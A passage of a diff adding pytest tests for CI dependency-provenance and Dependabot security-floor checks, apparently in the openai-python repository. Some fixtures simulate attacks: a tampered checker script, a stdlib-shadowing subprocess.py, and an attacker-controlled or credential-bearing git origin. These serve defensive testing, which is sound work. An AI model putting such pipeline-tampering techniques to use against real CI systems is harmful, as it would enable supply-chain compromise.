+ + " }\nsdist = { url = "
+ + json.dumps(artifact_url)
+ + ', hash = "sha256:'
+ + artifact_digest
+ + '" }\n'
+ + (
+ "wheels = [{ url = " + json.dumps(wheel_url) + ', hash = "sha256:' + current_wheel_digest + '" }]\n'
+ if wheel_url is not None
+ else ""
+ )
+ )
+
+ current_packages: list[str] = []
+ trusted_packages: list[str] = []
+ for name, (reviewed_version, reviewed_path, reviewed_digest) in reviewed.items():
+ reviewed_url = "https://files.pythonhosted.org/packages/" + reviewed_path
+ if name == package:
+ if variant != "removed":
+ current_packages.append(
+ lock(name, current_version, current_url, current_digest, current_registry, current_wheel_url)
+ )
+ trusted_packages.append(
+ lock(name, reviewed_version, reviewed_url, trusted_digest, "https://pypi.org/simple")
+ )
+ else:
+ current_packages.append(
+ lock(name, reviewed_version, reviewed_url, reviewed_digest, "https://pypi.org/simple")
+ )
+ trusted_packages.append(
+ lock(name, reviewed_version, reviewed_url, reviewed_digest, "https://pypi.org/simple")
+ )
+ current = "\n".join(current_packages)
+ if variant == "duplicate":
+ current += "\n" + lock(package.upper(), current_version, current_url, current_digest, current_registry)
+ (tmp_path / "uv.lock").write_text(current)
+ (tmp_path / "upstream.lock").write_text("\n".join(trusted_packages))
+ fake_git = tmp_path / "git"
+ fake_git.write_text(
+ f"#!{sys.executable}\n"
+ "import pathlib, sys\n"
+ f"root = pathlib.Path({str(tmp_path)!r})\n"
+ f"origin = {origin!r}\n"
+ "arguments = sys.argv[1:]\n"
+ "if arguments == ['remote', 'get-url', 'origin']:\n"
+ " print(origin)\n"
+ "elif arguments == ['show', 'HEAD:uv.lock']:\n"
+ " print((root / 'upstream.lock').read_text(), end='')\n"
+ "else:\n"
+ " raise SystemExit('Unexpected Agents checkout operation')\n"
+ )
+ fake_git.chmod(0o755)
+ environment = dict(os.environ, PATH=str(tmp_path) + os.pathsep + os.environ["PATH"])
+ result = subprocess.run(
+ [sys.executable, "-c", program], cwd=tmp_path, env=environment, capture_output=True, text=True, check=False
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+ if accepted:
+ expected = set(reviewed)
+ if variant in {"wheel-upgrade", "removed"}:
+ expected.remove(package)
+ assert set(result.stdout.split()) == expected
+
+
+@pytest.mark.parametrize("name", ["detect_breaking_changes", "agents_sdk"])
+def test_breaking_change_installers_validate_provenance_first(name: str) -> None:
+ path = ROOT / ".github/workflows/detect-breaking-changes.yml"
+ if not path.exists():
+ pytest.skip("GitHub workflows are not included in source distributions")
+
+ match = re.search(
+ rf"^ {name}:\n(?P.*?)(?=^ [\w-]+:\n|\Z)",
+ path.read_text(),
+ re.MULTILINE | re.DOTALL,
+ )
+ assert match is not None
+ job = match.group("body")
+ steps = re.findall(r"^ - (?:name|uses):\s*(.+)$", job, re.MULTILINE)
+ assert re.fullmatch(r"actions/checkout@[0-9a-f]{40}.*", steps[0])
+ assert steps[1] == "Verify dependency source provenance before installing tools"
+ source = next(line for line in job.splitlines() if "Use only the public PyPI registry" in line)
+ command = source.split("python -I -c '", 1)[1].rsplit("'", 1)[0]
+ workflow = (ROOT / ".github/workflows/ci.yml").read_text()
+ expected = next(line for line in workflow.splitlines() if "Use only the public PyPI registry" in line)
+ assert command == expected.split("python -I -c '", 1)[1].rsplit("'", 1)[0]
+ if name == "agents_sdk":
+ gate = job.split(" - name: Verify dependency source provenance before installing tools\n", 1)[1]
+ gate = gate.split("\n - name:", 1)[0]
+ assert "working-directory: openai-python" in gate
+
+
+def test_security_dependency_policy_is_directly_testable_after_the_trusted_gate() -> None:
+ workflow = (ROOT / ".github/workflows/ci.yml").read_text()
+ job = dependency_workflow_jobs()["dependency-locks"]
+ gate = job.index("Verify dependency source provenance before installing tools")
+ policy = job.index('git show "$BASE_SHA:scripts/check-dependency-security.py" | python -I -')
+ assert gate < policy
+ assert "python - <<'PY'" not in job
+ script = ROOT / "scripts/check-dependency-security.py"
+ assert script.is_file()
+ assert 'import_module("tomllib")' in script.read_text()
+ assert workflow.count("Use only the public PyPI registry") == 1
+
+
+def security_dependency_floor_program() -> str:
+ gate = dependency_workflow_jobs()["dependency-locks"]
+ match = re.search(
+ r" - name: Require published minimums for direct security updates\n(?P.*?)(?=\n - name:|\Z)",
+ gate,
+ re.DOTALL,
+ )
+ assert match is not None, "Direct Dependabot security updates must validate published dependency floors"
+ body = match.group("body")
+ assert "github.actor" not in body, "Maintainer updates must not disable an authored Dependabot security guard"
+ for condition in (
+ "github.event_name == 'pull_request'",
+ "github.event.pull_request.user.login == 'dependabot[bot]'",
+ "contains(github.event.pull_request.head.ref, 'python-security')",
+ ):
+ assert condition in body
+ assert "set -euo pipefail" in body
+ assert 'git fetch --no-tags --depth=1 origin "$BASE_SHA"' in body
+ assert 'git show "$BASE_SHA:scripts/check-dependency-security.py" | python -I -' in body
+ program = (ROOT / "scripts/check-dependency-security.py").read_text()
+ if sys.version_info < (3, 11):
+ program = program.replace(
+ "from __future__ import annotations",
+ "from __future__ import annotations\nimport sys, tomli; sys.modules['tomllib'] = tomli",
+ 1,
+ )
+ return program
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("trusted-base", True, id="security-checker-runs-only-immutable-base-script"),
+ pytest.param("tampered-head", True, id="submitted-no-op-cannot-replace-trusted-checker"),
+ pytest.param("missing-base-script", False, id="missing-trusted-checker-never-falls-back-to-head"),
+ pytest.param("invalid-base", False, id="checker-rejects-noncanonical-event-base-sha"),
+ pytest.param("foreign-origin", False, id="checker-rejects-an-attacker-controlled-origin"),
+ pytest.param("credential-origin", False, id="checker-rejects-credential-bearing-origin"),
+ pytest.param("stdlib-shadow", True, id="isolated-trusted-checker-ignores-checkout-module-shadow"),
+ ],
+)
+def test_security_floor_checker_executes_only_authenticated_base(tmp_path: Path, variant: str, accepted: bool) -> None:
+ gate = dependency_workflow_jobs()["dependency-locks"]
+ step = gate.split(" - name: Require published minimums for direct security updates\n", 1)[1]
+ step = step.split("\n - name:", 1)[0]
+ match = re.search(
+ r" run: (?:(?P[^|\n][^\n]*)|\|\n(?P(?: [^\n]*(?:\n|$))+))",
+ step,
+ )
+ assert match is not None
+ program = (
+ match.group("inline")
+ if match.group("inline") is not None
+ else "\n".join(line[10:] for line in match.group("block").splitlines())
+ )
+ sha = "a" * 40 if variant != "invalid-base" else "a" * 39 + "Z"
+ origin = "https://github.com/openai/openai-python.git"
+ if variant == "foreign-origin":
+ origin = "https://github.com/attacker/openai-python.git"
+ elif variant == "credential-origin":
+ origin = "https://token@github.com/openai/openai-python.git"
+
+ scripts = tmp_path / "scripts"
+ scripts.mkdir()
+ (scripts / "check-dependency-security.py").write_text(
+ "import pathlib; pathlib.Path('executed-head').write_text('attacker')\n"
+ )
+ if variant == "stdlib-shadow":
+ (tmp_path / "subprocess.py").write_text(
+ "import pathlib; pathlib.Path('shadow-imported').write_text('attacker')\n"
+ )
+ trusted_program = (
+ "import subprocess, pathlib\n"
+ "assert pathlib.Path(subprocess.__file__).resolve().parent != pathlib.Path.cwd()\n"
+ "pathlib.Path('executed-base').write_text('trusted')\n"
+ )
+ fake_git = tmp_path / "git"
+ fake_git.write_text(
+ f"#!{sys.executable}\n"
+ "import sys\n"
+ f"sha = {sha!r}\n"
+ f"origin = {origin!r}\n"
+ f"missing = {variant == 'missing-base-script'!r}\n"
+ f"source = {trusted_program!r}\n"
+ "arguments = sys.argv[1:]\n"
+ "if arguments == ['remote', 'get-url', 'origin']:\n"
+ " print(origin)\n"
+ "elif arguments == ['fetch', '--no-tags', '--depth=1', 'origin', sha]:\n"
+ " pass\n"
+ "elif arguments == ['show', sha + ':scripts/check-dependency-security.py'] and not missing:\n"
+ " print(source, end='')\n"
+ "else:\n"
+ " raise SystemExit('Unexpected or unsafe git operation')\n"
+ )
+ fake_git.chmod(0o755)
+ environment = dict(os.environ, BASE_SHA=sha, PATH=str(tmp_path) + os.pathsep + os.environ["PATH"])
+ result = subprocess.run(
+ ["/bin/bash", "-euo", "pipefail", "-c", program],
+ cwd=tmp_path,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+ assert (tmp_path / "executed-base").exists() is accepted
+ assert not (tmp_path / "executed-head").exists()
+ assert not (tmp_path / "shadow-imported").exists()
+
+
+@pytest.mark.parametrize(
+ ("actor", "author", "reference", "event", "accepted"),
+ [
+ pytest.param(
+ "maintainer",
+ "dependabot[bot]",
+ "dependabot/uv/python-security-123",
+ "pull_request",
+ True,
+ id="maintainer-updated-security-pr",
+ ),
+ pytest.param(
+ "dependabot[bot]",
+ "dependabot[bot]",
+ "dependabot/uv/python-security-123",
+ "pull_request",
+ True,
+ id="dependabot-updated-security-pr",
+ ),
+ pytest.param(
+ "dependabot[bot]",
+ "untrusted-maintainer",
+ "dependabot/uv/python-security-123",
+ "pull_request",
+ False,
+ id="spoofed-security-pr-author",
+ ),
+ pytest.param(
+ "maintainer",
+ "dependabot[bot]",
+ "dependabot/uv/python-maintenance-123",
+ "pull_request",
+ False,
+ id="routine-dependency-pr",
+ ),
+ pytest.param(
+ "dependabot[bot]",
+ "dependabot[bot]",
+ "dependabot/uv/python-security-123",
+ "push",
+ False,
+ id="non-pull-request-event",
+ ),
+ ],
+)
+def test_security_floor_guard_uses_immutable_pr_identity(
+ actor: str, author: str, reference: str, event: str, accepted: bool
+) -> None:
+ gate = dependency_workflow_jobs()["dependency-locks"]
+ step = gate.split(" - name: Require published minimums for direct security updates\n", 1)[1]
+ condition = step.split(" if: >-\n", 1)[1].split(" env:\n", 1)[0]
+ values = {
+ "github.event_name == 'pull_request'": event == "pull_request",
+ "github.actor == 'dependabot[bot]'": actor == "dependabot[bot]",
+ "github.event.pull_request.user.login == 'dependabot[bot]'": author == "dependabot[bot]",
+ "contains(github.event.pull_request.head.ref, 'python-security')": "python-security" in reference,
+ }
+ clauses = [line.strip().removeprefix("&& ").strip() for line in condition.splitlines() if line.strip()]
+ assert all(clause in values for clause in clauses), clauses
+ assert all(values[clause] for clause in clauses) is accepted
+
+
+def run_security_dependency_floor_check(
+ tmp_path: Path,
+ *,
+ base_requirements: list[str],
+ head_requirements: list[str],
+ base_packages: list[tuple[str, str]],
+ head_packages: list[tuple[str, str]],
+ optional: bool = False,
+ base_optional_groups: dict[str, list[str]] | None = None,
+ head_optional_groups: dict[str, list[str]] | None = None,
+ sha: str = "a" * 40,
+ base_constraints: list[str] | None = None,
+ head_constraints: list[str] | None = None,
+ base_build_constraints: list[str] | None = None,
+ head_build_constraints: list[str] | None = None,
+ base_dependency_groups: dict[str, list[str]] | None = None,
+ head_dependency_groups: dict[str, list[str]] | None = None,
+ base_resolution_markers: dict[tuple[str, str], list[str]] | None = None,
+ head_resolution_markers: dict[tuple[str, str], list[str]] | None = None,
+ base_lock_dependencies: dict[tuple[str, str], list[dict[str, object]]] | None = None,
+ head_lock_dependencies: dict[tuple[str, str], list[dict[str, object]]] | None = None,
+ base_lock_optional_dependencies: dict[tuple[str, str], dict[str, list[dict[str, object]]]] | None = None,
+ head_lock_optional_dependencies: dict[tuple[str, str], dict[str, list[dict[str, object]]]] | None = None,
+ origin: str = "https://github.com/openai/openai-python",
+) -> subprocess.CompletedProcess[str]:
+ def project(
+ requirements: list[str],
+ groups: dict[str, list[str]] | None,
+ constraints: list[str] | None,
+ build_constraints: list[str] | None,
+ dependency_groups: dict[str, list[str]] | None,
+ ) -> str:
+ if optional:
+ groups = {"feature": requirements}
+ requirements = []
+ result = '[project]\nname = "openai"\nversion = "1.0"\ndependencies = ' + json.dumps(requirements) + "\n"
+ if groups:
+ result += "[project.optional-dependencies]\n"
+ for group, dependencies in groups.items():
+ result += group + " = " + json.dumps(dependencies) + "\n"
+ if dependency_groups:
+ result += "[dependency-groups]\n"
+ for group, dependencies in dependency_groups.items():
+ result += group + " = " + json.dumps(dependencies) + "\n"
+ if constraints is not None or build_constraints is not None:
+ result += "[tool.uv]\n"
+ if constraints is not None:
+ result += "constraint-dependencies = " + json.dumps(constraints) + "\n"
+ if build_constraints is not None:
+ result += "build-constraint-dependencies = " + json.dumps(build_constraints) + "\n"
+ return result
+
+ def lock(
+ packages: list[tuple[str, str]],
+ resolutions: dict[tuple[str, str], list[str]] | None,
+ dependencies: dict[tuple[str, str], list[dict[str, object]]] | None,
+ optional_dependencies: dict[tuple[str, str], dict[str, list[dict[str, object]]]] | None,
+ ) -> str:
+ def edges(values: list[dict[str, object]]) -> str:
+ return (
+ "["
+ + ", ".join(
+ "{ " + ", ".join(key + " = " + json.dumps(value) for key, value in item.items()) + " }"
+ for item in values
+ )
+ + "]"
+ )
+
+ result: list[str] = []
+ for name, version in packages:
+ identity = name, version
+ entry = f"[[package]]\nname = {json.dumps(name)}\nversion = {json.dumps(version)}\n"
+ if resolutions is not None and identity in resolutions:
+ entry += "resolution-markers = " + json.dumps(resolutions[identity]) + "\n"
+ if dependencies is not None and identity in dependencies:
+ entry += "dependencies = " + edges(dependencies[identity]) + "\n"
+ if optional_dependencies is not None and identity in optional_dependencies:
+ entry += "[package.optional-dependencies]\n"
+ for extra, values in optional_dependencies[identity].items():
+ entry += json.dumps(extra) + " = " + edges(values) + "\n"
+ result.append(entry)
+ return "\n".join(result)
+
+ (tmp_path / "pyproject.toml").write_text(
+ project(
+ head_requirements, head_optional_groups, head_constraints, head_build_constraints, head_dependency_groups
+ )
+ )
+ (tmp_path / "uv.lock").write_text(
+ lock(head_packages, head_resolution_markers, head_lock_dependencies, head_lock_optional_dependencies)
+ )
+ (tmp_path / "base-project.toml").write_text(
+ project(
+ base_requirements, base_optional_groups, base_constraints, base_build_constraints, base_dependency_groups
+ )
+ )
+ (tmp_path / "base-lock.toml").write_text(
+ lock(base_packages, base_resolution_markers, base_lock_dependencies, base_lock_optional_dependencies)
+ )
+ fake_git = tmp_path / "git"
+ fake_git.write_text(
+ f"#!{sys.executable}\n"
+ "import pathlib, sys\n"
+ f"root = pathlib.Path({str(tmp_path)!r})\n"
+ f"origin = {origin!r}\n"
+ f"sha = {sha!r}\n"
+ "arguments = sys.argv[1:]\n"
+ "if arguments == ['remote', 'get-url', 'origin']:\n"
+ " print(origin)\n"
+ "elif arguments == ['fetch', '--no-tags', '--depth=1', 'origin', sha]:\n"
+ " pass\n"
+ "elif arguments == ['show', sha + ':pyproject.toml']:\n"
+ " print((root / 'base-project.toml').read_text(), end='')\n"
+ "elif arguments == ['show', sha + ':uv.lock']:\n"
+ " print((root / 'base-lock.toml').read_text(), end='')\n"
+ "else:\n"
+ " raise SystemExit('Unexpected or unsafe git operation')\n"
+ )
+ fake_git.chmod(0o755)
+ environment = dict(os.environ, BASE_SHA=sha, PATH=str(tmp_path) + os.pathsep + os.environ["PATH"])
+ return subprocess.run(
+ [sys.executable, "-c", security_dependency_floor_program()],
+ cwd=tmp_path,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+
+
+@pytest.mark.parametrize(
+ ("base", "head", "before", "after", "optional", "accepted"),
+ [
+ pytest.param(
+ ["Danger_Pkg>=1.0"],
+ ["danger-pkg>=1.0"],
+ [("danger-pkg", "1.0")],
+ [("danger_pkg", "1.1")],
+ False,
+ False,
+ id="direct-lock-only",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.1"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.1")],
+ False,
+ True,
+ id="direct-floor-raised",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.1"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.5")],
+ False,
+ False,
+ id="direct-floor-below-patched-lock",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.5"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.5")],
+ False,
+ True,
+ id="direct-floor-equals-patched-lock",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.6"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.5")],
+ False,
+ True,
+ id="direct-floor-above-patched-lock",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.5"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.5.0")],
+ False,
+ True,
+ id="patched-lock-trailing-zero-equivalence",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.5"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.5rc1")],
+ False,
+ False,
+ id="patched-lock-prerelease-fails-closed",
+ ),
+ pytest.param(
+ ["danger-pkg>=0!9.0"],
+ ["danger-pkg>=1!1.0"],
+ [("danger-pkg", "9.0")],
+ [("danger-pkg", "1!2.0")],
+ False,
+ False,
+ id="epoch-floor-below-patched-lock",
+ ),
+ pytest.param(
+ ["danger-pkg>=2.0"],
+ ["danger-pkg>=1.0"],
+ [("danger-pkg", "2.0")],
+ [("danger-pkg", "2.1")],
+ False,
+ False,
+ id="direct-floor-lowered",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.10"],
+ ["danger-pkg>=1.9"],
+ [("danger-pkg", "1.10")],
+ [("danger-pkg", "1.11")],
+ False,
+ False,
+ id="numeric-release-floor-lowered",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.9"],
+ ["danger-pkg>=1.10"],
+ [("danger-pkg", "1.9")],
+ [("danger-pkg", "1.10")],
+ False,
+ True,
+ id="numeric-release-floor-raised",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0.0"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.1")],
+ False,
+ False,
+ id="trailing-zero-equivalent-floor",
+ ),
+ pytest.param(
+ ["danger-pkg>=0!9.0"],
+ ["danger-pkg>=1!1.0"],
+ [("danger-pkg", "9.0")],
+ [("danger-pkg", "1!1.0")],
+ False,
+ True,
+ id="epoch-floor-raised",
+ ),
+ pytest.param(
+ ["danger-pkg>=1!1.0"],
+ ["danger-pkg>=0!9.0"],
+ [("danger-pkg", "1!1.0")],
+ [("danger-pkg", "1!1.1")],
+ False,
+ False,
+ id="epoch-floor-lowered",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0; python_version >= '3.11'"],
+ ["danger-pkg>=1.1; python_version >= '3.11'"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.1")],
+ False,
+ True,
+ id="python-version-marker-floor-raised",
+ ),
+ pytest.param(
+ ["Danger_Pkg[extra]>=1.0,<3; python_version >= '3.11'"],
+ ["danger-pkg[extra]>=1.1,<3; python_version >= '3.11'"],
+ [("danger-pkg", "1.0")],
+ [("danger_pkg", "1.1")],
+ True,
+ True,
+ id="optional-alias-extra-and-marker-floor-raised",
+ ),
+ pytest.param(
+ ["websockets >= 12"],
+ ["websockets >= 13"],
+ [("websockets", "12")],
+ [("websockets", "13")],
+ True,
+ True,
+ id="repository-whitespace-websockets",
+ ),
+ pytest.param(
+ ["numpy >= 1"],
+ ["numpy >= 2.1"],
+ [("numpy", "1")],
+ [("numpy", "2.1")],
+ True,
+ True,
+ id="repository-whitespace-numpy",
+ ),
+ pytest.param(
+ ["pandas >= 1.2.3"],
+ ["pandas >= 1.5.0"],
+ [("pandas", "1.2.3")],
+ [("pandas", "1.5.0")],
+ True,
+ True,
+ id="repository-whitespace-pandas",
+ ),
+ pytest.param(
+ ["pydantic>=1.10.13,<3"],
+ ["pydantic>=1.10.26,<3"],
+ [("pydantic", "1.10.13"), ("pydantic", "2.12.5")],
+ [("pydantic", "1.10.26"), ("pydantic", "2.12.5")],
+ False,
+ True,
+ id="unchanged-alternate-pydantic-line-preserved",
+ ),
+ pytest.param(
+ ["pydantic>=1.10.13,<3"],
+ ["pydantic>=1.10.26,<3"],
+ [("pydantic", "1.10.13"), ("pydantic", "2.12.4")],
+ [("pydantic", "1.10.26"), ("pydantic", "2.12.5")],
+ False,
+ False,
+ id="multiple-patched-pydantic-lines-fail-closed",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0,<3"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.1")],
+ False,
+ False,
+ id="unchanged-lower-bound",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.1")],
+ True,
+ False,
+ id="optional-lock-only",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.1"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.1")],
+ True,
+ True,
+ id="optional-floor-raised",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=2.1", "numpy>=2.1,<3"],
+ [("numpy", "2.0.2")],
+ [("numpy", "2.1.0")],
+ True,
+ True,
+ id="optional-multiple-floors-reach-patched-release",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=1.1", "numpy>=2.0.2"],
+ [("numpy", "2.0.2")],
+ [("numpy", "2.1.0")],
+ True,
+ False,
+ id="optional-multiple-floors-below-patched-release",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=2.1", "numpy>=2.1,<3"],
+ [("numpy", "1.26"), ("numpy", "2.0.2")],
+ [("numpy", "1.26"), ("numpy", "2.1.0")],
+ True,
+ True,
+ id="unchanged-alternate-numpy-lock-preserved",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=1.1", "numpy>=2.0.1"],
+ [("numpy", "2.0.2")],
+ [("numpy", "2.1.0")],
+ True,
+ False,
+ id="optional-multiple-floors-one-lowered",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=1", "numpy>=2.0.3"],
+ [("numpy", "2.0.2")],
+ [("numpy", "2.1.0")],
+ True,
+ False,
+ id="optional-multiple-floors-weakest-unchanged",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=1.1"],
+ [("numpy", "2.0.2")],
+ [("numpy", "2.1.0")],
+ True,
+ False,
+ id="optional-floor-branch-removed",
+ ),
+ pytest.param(
+ ["other>=2"],
+ ["other>=1"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ False,
+ id="unchanged-lock-direct-floor-lowered",
+ ),
+ pytest.param(
+ ["other>=2"],
+ ["other"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ False,
+ id="unchanged-lock-direct-floor-removed",
+ ),
+ pytest.param(
+ ["other>=2,<4"],
+ ["other>=2,<3"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-equal-floor-preserved",
+ ),
+ pytest.param(
+ ["other>=1"],
+ ["other>=2"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-direct-floor-raised",
+ ),
+ pytest.param(
+ ["other>=2"],
+ ["other>=2"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-identical-requirement-preserved",
+ ),
+ pytest.param(
+ ["other >= 1.10"],
+ ["other >= 1.9"],
+ [("other", "1.10")],
+ [("other", "1.10")],
+ False,
+ False,
+ id="unchanged-lock-whitespace-numeric-floor-lowered",
+ ),
+ pytest.param(
+ ["other>=1!1"],
+ ["other>=0!9"],
+ [("other", "1!1")],
+ [("other", "1!1")],
+ False,
+ False,
+ id="unchanged-lock-epoch-floor-lowered",
+ ),
+ pytest.param(
+ ["other>=2.0"],
+ ["other>=2.0.0,<4"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-trailing-zero-equivalent-floor",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=1", "numpy>=2.0.1"],
+ [("numpy", "2.1")],
+ [("numpy", "2.1")],
+ True,
+ False,
+ id="unchanged-lock-optional-floor-lowered",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=1"],
+ [("numpy", "2.1")],
+ [("numpy", "2.1")],
+ True,
+ False,
+ id="unchanged-lock-optional-floor-branch-removed",
+ ),
+ pytest.param(
+ ["numpy>=2"],
+ ["numpy>=2", "numpy"],
+ [("numpy", "2.1")],
+ [("numpy", "2.1")],
+ True,
+ False,
+ id="unchanged-lock-unbounded-optional-branch-added",
+ ),
+ pytest.param(
+ ["numpy>=1", "numpy>=2.0.2"],
+ ["numpy>=1.1", "numpy>=2.0.2"],
+ [("numpy", "2.1")],
+ [("numpy", "2.1")],
+ True,
+ True,
+ id="unchanged-lock-optional-floor-branches-preserved",
+ ),
+ pytest.param(
+ ["other>=2; python_version >= '3.11'"],
+ ["other>=1; python_version >= '3.11'"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ False,
+ id="unchanged-lock-marker-floor-lowered",
+ ),
+ pytest.param(
+ ["other>=2"],
+ ["other>=2rc1"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ False,
+ id="unchanged-lock-unsupported-floor-fails-closed",
+ ),
+ pytest.param(
+ ["other"],
+ ["other>=2"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-previously-unbounded-floor-added",
+ ),
+ pytest.param(
+ ["other>=2; python_version < '3.11'", "other>=1; python_version >= '3.11'"],
+ ["other>=1; python_version < '3.11'", "other>=2; python_version >= '3.11'"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ False,
+ id="unchanged-lock-marker-context-floors-swapped",
+ ),
+ pytest.param(
+ ["other[secure]>=2", "other[compat]>=1"],
+ ["other[secure]>=1", "other[compat]>=2"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ False,
+ id="unchanged-lock-requested-extra-context-floors-swapped",
+ ),
+ pytest.param(
+ ["other>=2; python_version >= '3.11' and sys_platform == 'Linux'"],
+ ["other>=2,<4; sys_platform == 'Linux' and python_version >= '3.11'"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-marker-conjunction-reordered",
+ ),
+ pytest.param(
+ ["other[B,A]>=2"],
+ ["other[a,b]>=2,<4"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-requested-extras-reordered",
+ ),
+ pytest.param(
+ ["other>=2; sys_platform == 'Linux'"],
+ ["other>=2; sys_platform == 'linux'"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ False,
+ id="unchanged-lock-marker-literal-case-preserved",
+ ),
+ pytest.param(
+ ["other>=2; python_version < '3.11' or sys_platform == 'linux'"],
+ ["other>=2; python_version < '3.11' or sys_platform == 'linux'"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-valid-or-marker-remains-supported",
+ ),
+ pytest.param(
+ ["other>=2; (python_version < '3.11')"],
+ ["other>=2; (python_version < '3.11')"],
+ [("other", "2")],
+ [("other", "2")],
+ False,
+ True,
+ id="unchanged-lock-parenthesized-marker-remains-supported",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.5"],
+ [("danger-pkg", "2.0")],
+ [("danger-pkg", "1.5")],
+ False,
+ False,
+ id="downgraded-lock-cannot-be-security-patch",
+ ),
+ pytest.param(
+ ["danger-pkg>=0!1"],
+ ["danger-pkg>=0!9"],
+ [("danger-pkg", "1!1")],
+ [("danger-pkg", "0!9")],
+ False,
+ False,
+ id="downgraded-epoch-lock-cannot-be-security-patch",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=2.4"],
+ [("danger-pkg", "1.5"), ("danger-pkg", "2.5")],
+ [("danger-pkg", "1.6"), ("danger-pkg", "2.4")],
+ False,
+ False,
+ id="downgraded-alternate-lock-branch-fails-closed",
+ ),
+ pytest.param(
+ ["danger-pkg>=1"],
+ ["danger-pkg>=3"],
+ [("danger-pkg", "2")],
+ [("danger-pkg", "2"), ("danger-pkg", "3")],
+ False,
+ False,
+ id="unpaired-added-lock-release-fails-closed",
+ ),
+ pytest.param(
+ ["danger-pkg>=1"],
+ ["danger-pkg>=2"],
+ [("danger-pkg", "1"), ("danger-pkg", "2")],
+ [("danger-pkg", "2")],
+ False,
+ False,
+ id="unpaired-removed-lock-release-fails-closed",
+ ),
+ pytest.param(
+ ["danger-pkg>=1"],
+ ["danger-pkg>=2.0.0"],
+ [("danger-pkg", "2.0")],
+ [("danger-pkg", "2.0.0")],
+ False,
+ False,
+ id="equivalent-lock-release-is-not-security-upgrade",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.9"],
+ ["danger-pkg>=2.0"],
+ [("danger-pkg", "1.9")],
+ [("danger-pkg", "2.0")],
+ False,
+ True,
+ id="single-lock-major-upgrade-remains-valid",
+ ),
+ pytest.param(
+ ["pydantic>=1.10.13,<3"],
+ ["pydantic>=1.10.27,<3"],
+ [("pydantic", "1.10.26"), ("pydantic", "2.12.5")],
+ [("pydantic", "1.10.27"), ("pydantic", "2.12.5")],
+ False,
+ True,
+ id="independent-pydantic-v1-lock-upgrade-preserves-v2",
+ ),
+ pytest.param(
+ ["danger-pkg>=1"],
+ ["danger-pkg>=3"],
+ [("danger-pkg", "1.5rc1")],
+ [("danger-pkg", "3")],
+ False,
+ False,
+ id="prerelease-removed-lock-fails-closed",
+ ),
+ pytest.param(
+ ["danger-pkg>=1.0"],
+ ["danger-pkg>=1.0.post1"],
+ [("danger-pkg", "1.0")],
+ [("danger-pkg", "1.0.post1")],
+ False,
+ True,
+ id="stable-post-release-security-fix",
+ ),
+ pytest.param(
